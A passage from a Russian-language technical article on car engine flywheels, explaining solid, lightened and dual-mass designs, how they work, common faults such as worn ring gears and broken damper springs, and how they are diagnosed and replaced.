Данная деталь за счет значительной массы накапливает кинетическую энергию, получаемую во время рабочего хода, и отдает ее коленвалу на остальных трех тактах — этим обеспечивается как выравнивание и обеспечение стабильности угловой скорости коленвала, так и вывод поршней из ВМТ и НМТ (за счет возникающих сил инерции). Также именно через маховик осуществляется связь двигателя с трансмиссией автомобиля и передача крутящего момента от шестерни электростартера на коленвал при пуске мотора. Маховик критически важен для нормальной эксплуатации транспортного средства, поэтому при его неисправности необходимо как можно скорее выполнить ремонт или полную замену. Но прежде, чем начинать ремонтные работы, следует разобраться в существующих типах, конструкции и особенностях работы маховиков современных ДВС.

Типы и устройство маховых колес

На современных моторах используются различные по конструкции маховики, но самое широкое распространение получило три типа этих деталей:

• Сплошной;
• Облегченный;
• Демпферный (или двухмассовый).

Наиболее простое устройство имеют сплошные маховики, которые находят применение на большинстве поршневых ДВС — от малолитражных, до самых мощных промышленных, тепловозных и судовых. Основу конструкции составляет чугунный или стальной диск диаметром 30-40 см и более, в центре которого выполнено посадочное место для установки на хвостовик коленчатого вала, а на периферии запрессован венец. Посадочное место для коленвала обычно выполнено в виде расширения (ступицы), в центре которого имеется отверстие большого диаметра, а по окружности располагается 4-12 или больше отверстий для болтов, посредством которых маховик фиксируется на фланце хвостовика вала. На наружной поверхности маховика выполнено место для установки сцепления и отформирована кольцевая контактная площадка для ведомого диска сцепления. На периферии маховика запрессовывается стальной зубчатый венец, посредством которого в момент пуска передается крутящий момент от шестерни стартера на коленвал.

Обычно при изготовлении маховик балансируется для предотвращения биений во время работы двигателя. При балансировке в различных местах маховика удаляются излишки металла (сверловкой), также с целью балансировки в определенном положении устанавливается сцепление и другие детали (если они предусмотрены). В дальнейшем ориентация маховика и сцепления не должна изменяться, в противном случае возникнет опасный для коленчатого вала и всего двигателя дисбаланс.

Облегеченный маховик

Аналогичную конструкцию имеют и облегченные маховики, однако в них для снижения массы выполнены окна различной формы и размеров. Выборка металла маховика с целью снижения его массы обычно выполняется в целях тюнинга и форсирования двигателя. Установка такого маховика несколько снижает стабильность работы силового агрегата на переходных режимах, но обеспечивает быстрый набор максимальных оборотов и в целом позитивно сказывается на мощностных характеристиках. Однако установка облегченного маховика может производиться только параллельно с выполнением других работ по тюнингу/форсированию двигателя.

Двухмассовые маховики имеют гораздо более сложную конструкцию — в их состав входят различные по устройству и принципу действия гасители крутильных колебаний и демпферы. В простейшем случае этот узел состоит из двух дисков (ведомого и ведущего), между которыми располагается гаситель крутильных колебаний — одна или несколько дуговых (свернутых в кольцо или изогнутых дугой) витых пружин. В более сложных конструкциях между дисками располагается ряд шестерен, которые выполняют роль планетарной передачи, а количество пружин может достигать десятка и более. Двухмассовый маховик, как и обычный, монтируется на хвостовик коленчатого вала и удерживает на себе сцепление.

Конструкция двухмассового маховика

Работает демпферный маховик довольно просто. Ведущий диск соединен непосредственно с фланцем коленчатого вала, получая от него крутящий момент, а также все колебания, вибрации и возникающие на переходных режимах толчки. Крутящий момент от ведущего диска на ведомый передается через пружины, однако они за счет своей упругости поглощают значительную часть вибраций, толчков и колебаний, то есть — выполняют функции демпфера. В результате такой развязки ведомый диск, а также соединенное с ним сцепление и трансмиссия, вращаются более равномерно, без колебаний и вибраций.

В настоящее время двухмассовые маховики, несмотря на их сложную конструкцию и относительно высокую стоимость, все чаще устанавливаются на двигатели легковых и грузовых автомобилей. Рост популярности этих деталей обусловлен их лучшим качеством работы и защитой трансмиссии от негативных воздействий со стороны силового агрегата. Однако маховики сплошной конструкции благодаря своей цене, надежности и простоте очень широко используются на бюджетных авто, большинстве тракторов, грузовиков и иной технике.

Вопросы выбора, замены и обслуживания маховика

В процессе эксплуатации двигателя маховик подвергается значительным механическим нагрузкам, поэтому со временем в нем возникают разного рода неисправности — трещины, износ поверхности контакта с ведомым диском сцепления, износ и выломы зубцов венца, деформации и даже полное разрушение (этому подвержены чугунные детали). Неисправности маховика проявляются повышением уровня вибраций и шумов во время работы двигателя, ухудшением работы сцепления, ухудшением или невозможностью запуска мотора стартером (вследствие износа зубчатого венца) и т.д. При появлении этих признаков маховик необходимо осмотреть, при необходимости демонтировать и подвергнуть дефектации, а в случае обнаружения неисправностей — выполнить замену детали в сборе.

Наиболее часто в маховиках сплошной конструкции причиной проблемы становится зубчатый венец, а также трещины и поломки самого диска. При нормальном состоянии маховика венец можно заменить, на замену следует брать деталь того же типа и модели, что стояла ранее. В случае необходимости можно использовать венец с иным числом зубов, однако такая замена не всегда возможна. Демонтаж строго венца обычно выполняется механически — ударами молотка через зубило или иной инструмент. Установка нового венца производится с его нагревом — вследствие температурного расширения деталь легко встанет на свое место, а после остывания надежно зафиксируется на маховике.

В демпферных маховиках зачастую возникают более сложные неисправности — поломка или полное разрушение дуговых пружин, износ подшипников, износ трущихся деталей дисков и т.д. В большинстве случаев двухмассовый маховик не подлежит ремонту, а заменяется в сборе. В отдельных ситуациях возможна замена венца и подшипников, но эти работы лучше доверять специалистам. Диагностика демпферного маховика проводится как на двигателе, так и на снятой детали. В первую очередь проверяется угол отклонения ведомого маховика и люфт, если угол слишком большой или, напротив, маховик заклинил, то деталь должна быть заменена.

Все диагностические работы и замена маховика должны выполняться в соответствии с инструкцией по ремонту и обслуживанию транспортного средства. Для доступа к детали в большинстве случаев приходится демонтировать коробку передач и сцепление, что связано с дополнительными затратами времени и сил. При монтаже нового маховика необходимо соблюдать ориентацию сцепления, а также использовать определенных тип крепежа и, если это нужно — типы смазочных материалов. Если маховик подобран и заменен правильно, то двигатель и трансмиссия будут надежно работать, уверенно выполняя свои функции.